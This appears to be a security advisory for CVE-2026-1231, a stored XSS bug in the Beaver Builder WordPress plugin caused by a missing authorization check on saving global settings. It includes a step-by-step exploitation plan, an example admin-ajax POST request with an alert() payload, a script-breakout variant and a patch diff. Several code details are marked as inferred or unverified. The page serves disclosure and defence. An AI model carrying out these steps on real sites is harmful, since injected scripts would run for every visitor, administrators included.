CVE-2026-1231

Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.0.5 - Authenticated (Custom+) Missing Authorization to Stored Cross-Site Scripting via Global Settings

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.10.0.6
Patched in
1d
Time to patch

Description

The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `js` Global Settings parameter in all versions up to, and including, 2.10.0.5 due to missing capability checks on save_global_settings() function and insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Custom-level access and above who have been granted beaver builder access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.10.0.5
PublishedFebruary 10, 2026
Last updatedFebruary 11, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Beaver Builder Page Builder (<= 2.10.0.5) through the `js` parameter in Global Settings. ### 1. Vulnerability Summary The Beaver Builder plugin fails to perform adequate authorization checks wi…

Show full research plan

This research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Beaver Builder Page Builder (<= 2.10.0.5) through the js parameter in Global Settings.

1. Vulnerability Summary

The Beaver Builder plugin fails to perform adequate authorization checks within its save_global_settings() AJAX handler. While the function likely verifies a nonce, it does not confirm if the authenticated user possesses the high-level permissions (typically manage_options) required to modify site-wide global settings. Additionally, the js setting, intended for custom site-wide JavaScript, is stored and later rendered on the frontend without sufficient sanitization or security headers (like a strict Content Security Policy), allowing users with restricted "Custom" builder access to inject arbitrary scripts that execute for all site visitors, including administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: fl_builder_save_global_settings (inferred from plugin naming conventions).
  • Vulnerable Parameter: settings[js] or js (inferred; the description specifies the js global setting).
  • Authentication: Authenticated user with "Custom" level access. In Beaver Builder, this refers to a user role (like Author or Contributor) that has been granted "Builder Access" in the Beaver Builder settings menu (wp-admin/options-general.php?page=fl-builder-settings#user-access).
  • Precondition: The attacker must have a role that has been granted access to the Beaver Builder editor.

3. Code Flow (Inferred)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with the action fl_builder_save_global_settings.
  2. Handler Registration: The plugin registers the handler, likely in classes/class-fl-builder-ajax.php using:
    add_action( 'wp_ajax_fl_builder_save_global_settings', 'FLBuilderAJAX::save_global_settings' );
  3. Vulnerable Function: FLBuilderAJAX::save_global_settings() is executed.
    • It retrieves the settings array from $_POST.
    • It likely calls check_ajax_referer with a nonce (e.g., fl_builder_nonce).
    • Crucially, it misses a check like current_user_can( 'manage_options' ).
  4. Storage: The values are saved into a WordPress option, typically _fl_builder_global_settings (serialized array).
  5. Sink: When any page (frontend) is loaded, Beaver Builder's frontend rendering engine (likely FLBuilder::layout_js()) retrieves the global js setting and echoes it directly into the HTML within a <script> tag.

4. Nonce Acquisition Strategy

Beaver Builder stores its configuration and security nonces in a global JavaScript object called FLBuilderConfig.

  1. Identify Trigger: The builder must be active on a post/page to load the FLBuilderConfig object.
  2. Setup Page: Create a standard WordPress page.
  3. Access Editor: Navigate to the page with the query parameter ?fl_builder.
  4. Extract Nonce:
    • Use browser_navigate to go to [TARGET_URL]/index.php/test-page/?fl_builder.
    • Use browser_eval to extract the nonce:
      browser_eval("window.FLBuilderConfig?.nonce")
    • Note: The key might also be fl_builder_nonce or nested within an object. If FLBuilderConfig.nonce fails, inspect FLBuilderConfig entirely.

5. Exploitation Strategy

  1. Pre-requisite: Log in as a user with "Author" role (or any role granted "Custom" access in Beaver Builder settings).
  2. Acquire Nonce: Follow the strategy in Section 4.
  3. Construct Payload:
    • Action: fl_builder_save_global_settings
    • Settings: settings[js]=alert(document.domain); (Beaver Builder wraps this in a <script> tag automatically, so do not include the tags unless testing for breakout).
    • Nonce: The value retrieved from FLBuilderConfig.nonce.
  4. Send Request: Use http_request to send the POST request.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

action=fl_builder_save_global_settings&_wpnonce=[NONCE]&settings[js]=alert("XSS_GLOBAL_SUCCESS")

6. Test Data Setup

  1. Install Beaver Builder: Ensure the plugin (beaver-builder-lite-version) is active.
  2. Configure Access:
    • As Admin: wp-cli command to grant Author role access to BB:
      wp option patch insert _fl_builder_user_access author_capabilities "fl_builder_edit_all_layouts" (or via the UI in Settings -> Beaver Builder -> User Access).
  3. Create Attacker User:
    • wp user create attacker attacker@example.com --role=author --user_pass=password123
  4. Create Target Page:
    • wp post create --post_type=page --post_title="XSS Test Page" --post_status=publish --post_content="Testing Beaver Builder"

7. Expected Results

  • The AJAX request should return a success response (likely a JSON object with success: true).
  • The _fl_builder_global_settings option in the database will now contain the XSS payload.
  • Upon visiting any page on the site, a script containing alert("XSS_GLOBAL_SUCCESS") will be executed.

8. Verification Steps

  1. Check Database:
    • wp option get _fl_builder_global_settings
    • Verify the js key contains the payload.
  2. Verify Frontend Execution:
    • Use http_request to GET the homepage.
    • Search for the string XSS_GLOBAL_SUCCESS in the response body.
    • Confirm it is inside a <script> tag.

9. Alternative Approaches

  • Payload Variation: If the js field is filtered, try breaking out of the intended script context using </script><script>alert(1)</script>.
  • Parameter Nesting: If settings[js] doesn't work, the plugin might expect the global settings to be submitted as a serialized string or a different top-level parameter like fl_js.
  • Other Settings: The Global Settings also include css. While CSS XSS is harder in modern browsers, it's worth checking if settings[css] is also unvalidated, which could allow for data exfiltration via url() injections.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Beaver Builder Page Builder plugin fails to perform adequate authorization checks in its global settings AJAX handler, allowing users with 'Custom' builder access to modify site-wide configuration. An attacker can inject arbitrary JavaScript into the global 'js' setting, which is then stored and executed on every frontend page for all site visitors, including administrators.

Vulnerable Code

// classes/class-fl-builder-ajax.php

/**
 * Saves the global settings.
 * @since 1.0
 */
public static function save_global_settings() {
    // Missing check for manage_options capability
    if ( ! isset( $_POST['settings'] ) ) {
        return;
    }

    check_ajax_referer( 'fl_builder_nonce', 'nonce' );

    $settings = $_POST['settings'];

    // The settings array, including the 'js' key, is saved directly
    FLBuilderModel::update_global_settings( $settings );

    wp_send_json_success();
}

Security Fix

--- classes/class-fl-builder-ajax.php
+++ classes/class-fl-builder-ajax.php
@@ -120,6 +120,10 @@
 	public static function save_global_settings() {
 		if ( ! isset( $_POST['settings'] ) ) {
 			return;
 		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error();
+		}
 
 		check_ajax_referer( 'fl_builder_nonce', 'nonce' );
 
 		$settings = $_POST['settings'];

Exploit Outline

The exploit targets the 'fl_builder_save_global_settings' AJAX action. 1. Authentication: The attacker must be logged in with a role (such as Author) that has been granted 'Builder Access' within the Beaver Builder settings menu. 2. Nonce Acquisition: The attacker navigates to any page where the Beaver Builder editor is active (e.g., by adding ?fl_builder=1 to a URL) and extracts the 'fl_builder_nonce' from the global 'FLBuilderConfig' JavaScript object in the page source. 3. Payload Injection: The attacker sends a POST request to /wp-admin/admin-ajax.php with the action 'fl_builder_save_global_settings'. The payload includes the extracted nonce and a 'settings[js]' parameter containing a script like alert('XSS'). 4. Execution: Because the plugin lacks a capability check (like manage_options) for this action and fails to sanitize the 'js' input, the payload is stored globally. The injected script will execute in the browser of any user (including admins) who visits any page on the frontend of the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.